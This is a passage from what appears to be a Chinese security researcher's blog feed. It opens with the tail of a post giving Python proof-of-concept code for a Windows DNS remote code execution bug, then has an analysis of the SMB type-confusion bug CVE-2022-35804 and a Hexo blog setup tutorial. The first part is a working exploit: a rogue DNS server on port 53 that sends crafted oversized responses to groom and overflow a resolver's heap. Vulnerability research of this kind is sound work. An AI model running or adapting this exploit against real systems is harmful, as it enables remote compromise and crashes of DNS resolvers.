p0+<span class="string">&#x27;b&#x27;</span>*padsize+fake_header*fake_num</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_2_A9h_and_ow</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = <span class="number">3</span></span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x21&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x04&#x27;</span>+<span class="string">&#x27;\x11&#x27;</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x2</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    p1 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x14&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0e&#x27;</span></span><br><span class="line">    p2 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff\x62&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">10</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\xc0\x0f&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x30</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x15&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x15</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    size = <span class="number">0xb0</span></span><br><span class="line">    padsize = <span class="number">2</span>*(size+<span class="number">0x10</span>)-(<span class="number">0x10</span>+<span class="number">0x4c</span>+<span class="number">0xff</span>-size)-(<span class="built_in">len</span>(p2)-<span class="number">0x20</span>)</span><br><span class="line">    fake_header = <span class="string">&#x27;\xcc&#x27;</span>*<span class="number">16</span>+<span class="string">&#x27;\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*(size-<span class="number">0x10</span>)</span><br><span class="line">    fake_num = (<span class="number">0xffff</span>-<span class="number">0x20</span>-<span class="built_in">len</span>(p0)-<span class="built_in">len</span>(p1)-<span class="built_in">len</span>(p2)-padsize)/(size+<span class="number">0x10</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;padsize:%x,fake_num:%x&#x27;</span>%(padsize, fake_num)</span><br><span class="line">    <span class="keyword">return</span> p0+p1+p2+<span class="string">&#x27;b&#x27;</span>*padsize+fake_header*fake_num</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_C0h_many</span>(<span class="params">number, n_answer</span>):</span><br><span class="line">    <span class="keyword">if</span> number &gt; <span class="number">0x7fd</span>:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;number is too big&quot;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="comment"># size = (size-0x48-0x3a-0x1c)/2</span></span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x2d&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x10&#x27;</span>+<span class="string">&#x27;\x28&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0xf</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    p1 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x14&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0e&#x27;</span></span><br><span class="line">    n_answer[<span class="number">0</span>] = number+<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> p0+p1*(number-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_A9h_many</span>(<span class="params">number, n_answer</span>):</span><br><span class="line">    <span class="keyword">if</span> number &gt; <span class="number">0x7fd</span>:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;number is too big&quot;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="comment"># size = (size-0x48-0x3a-0x1c)/2</span></span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x21&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x04&#x27;</span>+<span class="string">&#x27;\x11&#x27;</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x2</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    p1 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x14&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0e&#x27;</span></span><br><span class="line">    n_answer[<span class="number">0</span>] = number+<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> p0+p1*(number-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_max</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = <span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> n &gt; <span class="number">0x10047</span> <span class="keyword">or</span> n &lt; (<span class="number">0x48</span>+<span class="number">0x3b</span>):</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&quot;number is too large or small&quot;</span></span><br><span class="line">    size = <span class="number">0xff</span>&amp;(n-<span class="number">0x48</span>-<span class="number">0x3b</span>)</span><br><span class="line">    size_h = (n-<span class="number">0x48</span>-<span class="number">0x3b</span>)&gt;&gt;<span class="number">8</span></span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="built_in">chr</span>(size_h)+<span class="built_in">chr</span>(size)+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span> <span class="comment"># size = 0xffc4+0x3b = 0xffff</span></span><br><span class="line">    <span class="keyword">return</span> p0</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_max_and_free</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = (n+<span class="number">0x100</span>)/<span class="number">8</span></span><br><span class="line">    <span class="keyword">if</span> n &gt; <span class="number">0x10047</span>:</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&quot;number is too large&quot;</span></span><br><span class="line">    size = <span class="number">0xff</span>&amp;(n-<span class="number">0x48</span>-<span class="number">0x3b</span>)</span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff&#x27;</span>+<span class="built_in">chr</span>(size)+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span> <span class="comment"># size = 0xffc4+0x3b = 0xffff</span></span><br><span class="line">    <span class="keyword">return</span> p0</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tcp_handler</span>():</span><br><span class="line">    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    server.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>,<span class="number">53</span>))</span><br><span class="line">    server.listen(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># totalSize = 0</span></span><br><span class="line">    <span class="comment"># size = totalSize-0x48-0</span></span><br><span class="line">    n_answer = [<span class="number">0</span>]</span><br><span class="line">    funcs = [</span><br><span class="line">        get_alloc_A9h_many, </span><br><span class="line">        get_alloc_ow_size, </span><br><span class="line">        get_alloc_max, </span><br><span class="line">        get_alloc_2_A9h_and_ow, </span><br><span class="line">        get_alloc_max_and_free, </span><br><span class="line">        get_alloc_ow_size_without_records</span><br><span class="line">    ]</span><br><span class="line">    steps = [</span><br><span class="line">        (<span class="number">3</span>, funcs[<span class="number">0</span>], <span class="number">0x700</span>),</span><br><span class="line">        <span class="comment"># (1, funcs[0], 0x80),</span></span><br><span class="line">        (<span class="number">0x80</span>, funcs[<span class="number">2</span>], <span class="number">0x10000</span>),</span><br><span class="line">        (<span class="number">1</span>, funcs[<span class="number">4</span>], <span class="number">0x10000</span>),</span><br><span class="line">        (<span class="number">1</span>, funcs[<span class="number">2</span>], <span class="number">0x10000</span>),</span><br><span class="line">        (<span class="number">1</span>, funcs[<span class="number">5</span>], <span class="number">0x100</span>)</span><br><span class="line">    ]</span><br><span class="line">    step = <span class="number">0</span></span><br><span class="line">    step_i = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        conn,addr = server.accept()</span><br><span class="line">        <span class="built_in">print</span> addr</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;step:&#x27;</span>,step,<span class="string">&#x27;step_i&#x27;</span>, step_i</span><br><span class="line"></span><br><span class="line">                data = conn.recv(<span class="number">1024</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                <span class="comment"># print &#x27;recive:&#x27;,data.encode(&#x27;hex&#x27;)</span></span><br><span class="line">                ba = <span class="built_in">bytearray</span>()</span><br><span class="line">                 <span class="comment"># real size is 0xa8+0x48 = 0x100</span></span><br><span class="line">                data = <span class="string">&#x27;&#123;:\x00&lt;65537&#125;&#x27;</span>.<span class="built_in">format</span>(data[:<span class="number">18</span>+getNameLen(data)]+steps[step][<span class="number">1</span>](steps[step][<span class="number">2</span>], n_answer))</span><br><span class="line">                ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data))</span><br><span class="line">                ba[<span class="number">0</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="number">0xffff</span>)[<span class="number">0</span>]</span><br><span class="line">                ba[<span class="number">1</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="number">0xffff</span>)[<span class="number">1</span>]</span><br><span class="line">                <span class="comment"># flags</span></span><br><span class="line">                ba[<span class="number">4</span>] = <span class="number">0x84</span></span><br><span class="line">                ba[<span class="number">5</span>] = <span class="number">0</span></span><br><span class="line">                <span class="comment"># answer PRs</span></span><br><span class="line">                ba[<span class="number">8</span>] = n_answer[<span class="number">0</span>]&gt;&gt;<span class="number">8</span></span><br><span class="line">                ba[<span class="number">9</span>] = n_answer[<span class="number">0</span>]&amp;<span class="number">0xff</span></span><br><span class="line">                <span class="comment"># other prs</span></span><br><span class="line">                ba[<span class="number">10</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">11</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">12</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">13</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">                data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">                <span class="keyword">if</span> step == <span class="number">4</span>:</span><br><span class="line">                    thread.start_new_thread(sendAQuery,())</span><br><span class="line">                    time.sleep(<span class="number">0.001</span>)</span><br><span class="line">                l = conn.send(data)</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;sent&#x27;</span>,<span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;---------------------------\n&#x27;</span></span><br><span class="line">                conn.close()</span><br><span class="line">                step_i += <span class="number">1</span></span><br><span class="line">                <span class="keyword">if</span> steps[step][<span class="number">0</span>] == step_i:</span><br><span class="line">                    step += <span class="number">1</span></span><br><span class="line">                    step_i = <span class="number">0</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;tcp recv exit&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">udp_handler</span>():</span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">    s.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">53</span>))</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        data, addr = s.recvfrom(<span class="number">2048</span>)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;received:&quot;</span>, data.encode(<span class="string">&#x27;hex&#x27;</span>), <span class="string">&quot;from&quot;</span>, addr</span><br><span class="line">        ba = <span class="built_in">bytearray</span>()</span><br><span class="line">        ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data+resp))</span><br><span class="line">        ba[<span class="number">2</span>] = <span class="number">0x86</span></span><br><span class="line">        ba[<span class="number">7</span>] = <span class="number">1</span></span><br><span class="line">        data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">        l = s.sendto(data, addr)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;sent&quot;</span>, <span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&#x27;-++++++++++++++++++++++\n&#x27;</span></span><br><span class="line">    s.close()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;close udp&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> thread</span><br><span class="line">thread.start_new_thread(udp_handler,())</span><br><span class="line">thread.start_new_thread(tcp_handler,())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">raw_input(<span class="string">&#x27;&gt;&#x27;</span>)</span><br></pre></td></tr></table></figure><h1 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h1><p>以下是溢出的长度计算方式:<br><img src="/images/dns-memleak/calc_ow_size.png"></p><blockquote><p>注意: 以上所有poc的溢出参数和域名长度以及’9999’密切相关, 如果要修改, 注意更改相应的参数.</p></blockquote>]]></content>
    
    
    <summary type="html">&lt;p&gt;7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T. &lt;/p&gt;
&lt;p&gt;原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>SMB RCE CVE-2022-35804的介绍</title>
    <link href="http://474172261.github.io/2023/02/22/CVE-2022-35804/"/>
    <id>http://474172261.github.io/2023/02/22/CVE-2022-35804/</id>
    <published>2023-02-22T11:54:44.165Z</published>
    <updated>2022-09-07T03:35:26.000Z</updated>
    
    <content type="html"><![CDATA[<p>2022年8月更新中出现了SMB的RCE, 微软介绍说对于server端是认证后的, 所以应该不会是历史漏洞重新出现的问题, 毕竟曾经也分析过一阵子SMB, 出现了新鲜漏洞还是需要分析分析的, 以下是一个简单的分析介绍</p><span id="more"></span><h1 id="Bug"><a href="#Bug" class="headerlink" title="Bug"></a>Bug</h1><p>首先官方介绍是压缩相关的bug, 对比<code>srv2.sys</code>和<code>srvnet.sys</code>后,  发现<code>srvnet.sys</code>的<code>SmbCompressionDecompress</code>有改动, 所以大概率是它了.</p><p>以下是相关改动:</p><p><img src="/images/CVE-2022-35804/1660184030021.png" alt="1660184030021"></p><p>从图中看到, 改动其实很小, 就改了最后一个传入参数.</p><p>查看MSDN对于该函数的说明:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">NT_RTL_COMPRESS_API NTSTATUS <span class="title function_">RtlDecompressBufferEx2</span><span class="params">(</span></span><br><span class="line"><span class="params">  [in]           USHORT CompressionFormat,</span></span><br><span class="line"><span class="params">  [out]          PUCHAR UncompressedBuffer,</span></span><br><span class="line"><span class="params">  [in]           ULONG  UncompressedBufferSize,</span></span><br><span class="line"><span class="params">  [in]           PUCHAR CompressedBuffer,</span></span><br><span class="line"><span class="params">  [in]           ULONG  CompressedBufferSize,</span></span><br><span class="line"><span class="params">  [in]           ULONG  UncompressedChunkSize,</span></span><br><span class="line"><span class="params">  [out]          PULONG FinalUncompressedSize,</span></span><br><span class="line"><span class="params">  [in, optional] PVOID  WorkSpace</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"></span><br><span class="line">[in, optional] WorkSpace</span><br><span class="line"></span><br><span class="line">A pointer to a caller-allocated work space buffer used by the RtlDecompressBufferEx2 function during decompression. Use the RtlGetCompressionWorkSpaceSize function to determine the correct work space buffer size.</span><br></pre></td></tr></table></figure><p>所以可以了解到, workspace理应是caller申请的一块内存. </p><p>一般来说, 应该是如下的形式调用:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(NT_SUCCESS(RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, &amp;CompressBufferWorkSpaceSize, &amp;CompressFragmentWorkSpaceSize)))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(WorkSpace = LocalAlloc(LPTR, CompressBufferWorkSpaceSize))</span><br><span class="line">&#123;</span><br><span class="line">            status = NT_SUCCESS(RtlDecompressBufferEx2(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, (PUCHAR) data, size, (PUCHAR) (*compressedData), size, <span class="number">4096</span>, compressedSize, WorkSpace));</span><br><span class="line">LocalFree(WorkSpace);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先调用<code>RtlGetCompressionWorkSpaceSize</code>获取需要的workspace的size, 然后申请对应大小的内存, 之后再调用解压缩函数.</p><p>接下来, 我们看看<code>P</code>到底是个什么东西.<br>在<code>SmbCompressionInitialize</code>函数内, 它初始化了全局变量<code>P</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(</span><br><span class="line">                             <span class="number">2u</span>,</span><br><span class="line">                             &amp;CompressBufferWorkSpaceSize,</span><br><span class="line">                             &amp;CompressFragmentWorkSpaceSize);</span><br><span class="line"><span class="keyword">if</span> ( CompressionWorkSpaceSize &lt; <span class="number">0</span> )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_12;</span><br><span class="line">v1 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> ( CompressBufferWorkSpaceSize )</span><br><span class="line">  v1 = CompressBufferWorkSpaceSize;</span><br><span class="line">CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(</span><br><span class="line">                             <span class="number">3u</span>,</span><br><span class="line">                             &amp;CompressBufferWorkSpaceSize,</span><br><span class="line">                             &amp;CompressFragmentWorkSpaceSize);</span><br><span class="line"><span class="keyword">if</span> ( CompressionWorkSpaceSize &lt; <span class="number">0</span> )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_12;</span><br><span class="line"><span class="keyword">if</span> ( CompressBufferWorkSpaceSize &gt; v1 )</span><br><span class="line">  v1 = CompressBufferWorkSpaceSize;</span><br><span class="line">CompressionWorkSpaceSize = RtlGetCompressionWorkSpaceSize(</span><br><span class="line">                             <span class="number">4u</span>,</span><br><span class="line">                             &amp;CompressBufferWorkSpaceSize,</span><br><span class="line">                             &amp;CompressFragmentWorkSpaceSize);</span><br><span class="line"><span class="keyword">if</span> ( CompressionWorkSpaceSize &lt; <span class="number">0</span> )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_12;</span><br><span class="line"><span class="keyword">if</span> ( CompressBufferWorkSpaceSize &gt; v1 )</span><br><span class="line">  v1 = CompressBufferWorkSpaceSize;</span><br><span class="line">P = (PVOID)PplCreateLookasideList(<span class="number">0</span>, <span class="number">0</span>, v1, <span class="number">0x2532534C</span>u, v3, <span class="number">0x2532534C</span>u);</span><br></pre></td></tr></table></figure><p>可以看到, 它应该是放入了3种压缩类型所需要的size中最大的那一个到<code>lookaside list</code>里,  <code>P</code>就是指向<code>lookaside list</code>结构体的指针. 可见它并不是<code>RtlDecompressBufferEx2</code>想要的<code>workspace</code>结构体.</p><p>正常情况下, 在第一个图的修补后的第58行, 它会调用<code>P</code>的allocate函数, 去申请最大的那个size的workspace.</p><p>然而, 由于程序员手抖, 不小心传入了<code>P</code>, 导致了类型混淆, 从而造成了对<code>P</code>的写入问题.</p><h1 id="History"><a href="#History" class="headerlink" title="History"></a>History</h1><p>在windows 10 1909的代码中, <code>SmbCompressionDecompress</code>是这样实现的:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( RtlGetCompressionWorkSpaceSize(v13, &amp;CompressBufferWorkSpaceSize, (PULONG)CompressFragmentWorkSpaceSize) &lt; <span class="number">0</span></span><br><span class="line">  || (PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)<span class="number">512</span>, CompressBufferWorkSpaceSize, <span class="number">0x2532534C</span>u)) != <span class="number">0</span>i64 )</span><br><span class="line">&#123;</span><br><span class="line">  v10 = RtlDecompressBufferEx2(v13, a4, (<span class="type">unsigned</span> <span class="type">int</span>)a5, a2, a3, <span class="number">0</span>, a6, PoolWithTag);</span><br><span class="line">  <span class="keyword">if</span> ( PoolWithTag )</span><br><span class="line">    ExFreePoolWithTag(PoolWithTag, <span class="number">0x2532534C</span>u);</span><br></pre></td></tr></table></figure><p>可见没有任何问题, 在windows 10 2004里, 开始变了模样, 但是参数传递是修补后的样子. 之前保存过windows 20211(发布于2020年9月)的<code>srvnet.sys</code>文件, 发现它是传递了<code>P</code>, 所以可以看到, 这个bug应该某个开发版引入的, 一直延续到了windows 11. </p><p>有意思的是, 它的变量类型是<code>PVOID</code>, 而<code>P</code>也是<code>PVOID</code>, 所以编译器不会有任何警告. 理论上只要有任何测试触发这个位置, 这块代码都有可能会崩溃, 但是直到如今, 才被爆出来, 也是出人意料的, 可见微软内部的安全审计依然不到位(也许就没有).</p><blockquote><p>我想微软之所以那么改, 可能是为了提高内存利用效率, 避免频繁的申请内存吧, 没想到搞出这等幺蛾子, 哈哈哈</p></blockquote><h1 id="影响"><a href="#影响" class="headerlink" title="影响"></a>影响</h1><p>好在, 自从windows 爆出过压缩部分的bug后, 它已经要求server端先验证, 后压缩, 使得bug只能是认证后才能触发. 但是Client端还是会受影响的, 毕竟client主动连的server, 也就不存在认证限制了.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2022年8月更新中出现了SMB的RCE, 微软介绍说对于server端是认证后的, 所以应该不会是历史漏洞重新出现的问题, 毕竟曾经也分析过一阵子SMB, 出现了新鲜漏洞还是需要分析分析的, 以下是一个简单的分析介绍&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>使用github搭建自己的博客</title>
    <link href="http://474172261.github.io/2023/02/22/build-blog/"/>
    <id>http://474172261.github.io/2023/02/22/build-blog/</id>
    <published>2023-02-22T11:54:44.165Z</published>
    <updated>2022-08-15T07:34:12.000Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><p>首先你需要在github创建一个仓储<br><img src="/images/build-blog/create_git_respository.png" alt="ii1"></p><h2 id="安装git-npm"><a href="#安装git-npm" class="headerlink" title="安装git,npm"></a>安装git,npm</h2><p><strong>windows</strong><br>下载<a href="https://nodejs.org/en/download/">node.js</a><br>下载<a href="https://git-scm.com/download/win">git</a></p><h2 id="安装hexo"><a href="#安装hexo" class="headerlink" title="安装hexo"></a>安装hexo</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo --save  (或者npm install hexo-cli -g)</span><br></pre></td></tr></table></figure><h2 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo init MYBLOG</span><br><span class="line">cd MYBLOG</span><br></pre></td></tr></table></figure><p>“MYBLOG”是目录名称</p><h2 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br><span class="line">$ hexo server</span><br><span class="line">INFO  Hexo is running at http://localhost:4000 . Press Ctrl+C to stop.</span><br></pre></td></tr></table></figure><p>浏览器访问<a href="http://localhost:4000/">http://localhost:4000</a></p><h2 id="添加主题"><a href="#添加主题" class="headerlink" title="添加主题"></a>添加主题</h2><p>访问<a href="https://hexo.io/themes/">主题库</a>添加主题, 我比较喜欢<a href="https://github.com/pinggod/hexo-theme-apollo">Apollo</a> 不过不更新了, 暂时用 next 主题.</p><h2 id="配置github推送"><a href="#配置github推送" class="headerlink" title="配置github推送"></a>配置github推送</h2><p>获取链接<br><img src="/images/build-blog/get_git.png"><br>修改MYBLOG&#x2F;_config.yml文件<br><img src="/images/build-blog/config_git.png"></p><h2 id="创建sshkey"><a href="#创建sshkey" class="headerlink" title="创建sshkey"></a>创建sshkey</h2><p>在git-bash里面使用如下指令（通过在Hexo文件夹右键选择 “Git bash here”打开）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa -b 4096 -C &quot;邮件地址@youremail.com&quot;</span><br></pre></td></tr></table></figure><p>然后根据提示enter就好(注意文件保存的位置！！)</p><p>登录github, 在Account Settings—&gt;SSH Public keys —&gt; add another public keys中添加你的sshkey.pub文件的内容<br><img src="/images/build-blog/fill_rsa.png"></p><p>测试key</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -T git@github.com</span><br></pre></td></tr></table></figure><p><img src="/images/build-blog/ssh_link_test.png"></p><h2 id="新建文章"><a href="#新建文章" class="headerlink" title="新建文章"></a>新建文章</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo n <span class="string">&quot;网站标题&quot;</span></span><br></pre></td></tr></table></figure><p>文章文件在Hexo\source_posts里面，后缀为md<br>这是一个markdown文件，具体语法查看markdown语法</p><p>文章内容：</p><blockquote><p>title: 文章名<br>date: 2013-05-29 07:56:29 #发表日期<br>updated: 2016-04-06 14:58:03 #更新日期<br>categories: Life #文章分类<br>description: 你对本页的描述<br>tags: [tag1,tag2] #文章标签. 多标签时使用英文逗号隔开<br>photos: #如果使用Fancybox（文章头部展示图片）. 如此设置</p><p>URL1<br>URL2<br>#从这里开始</p><p>#就是正文</p><p>#使用markdown</p></blockquote><h2 id="推送文章"><a href="#推送文章" class="headerlink" title="推送文章"></a>推送文章</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo d -g</span><br></pre></td></tr></table></figure><blockquote><p>d 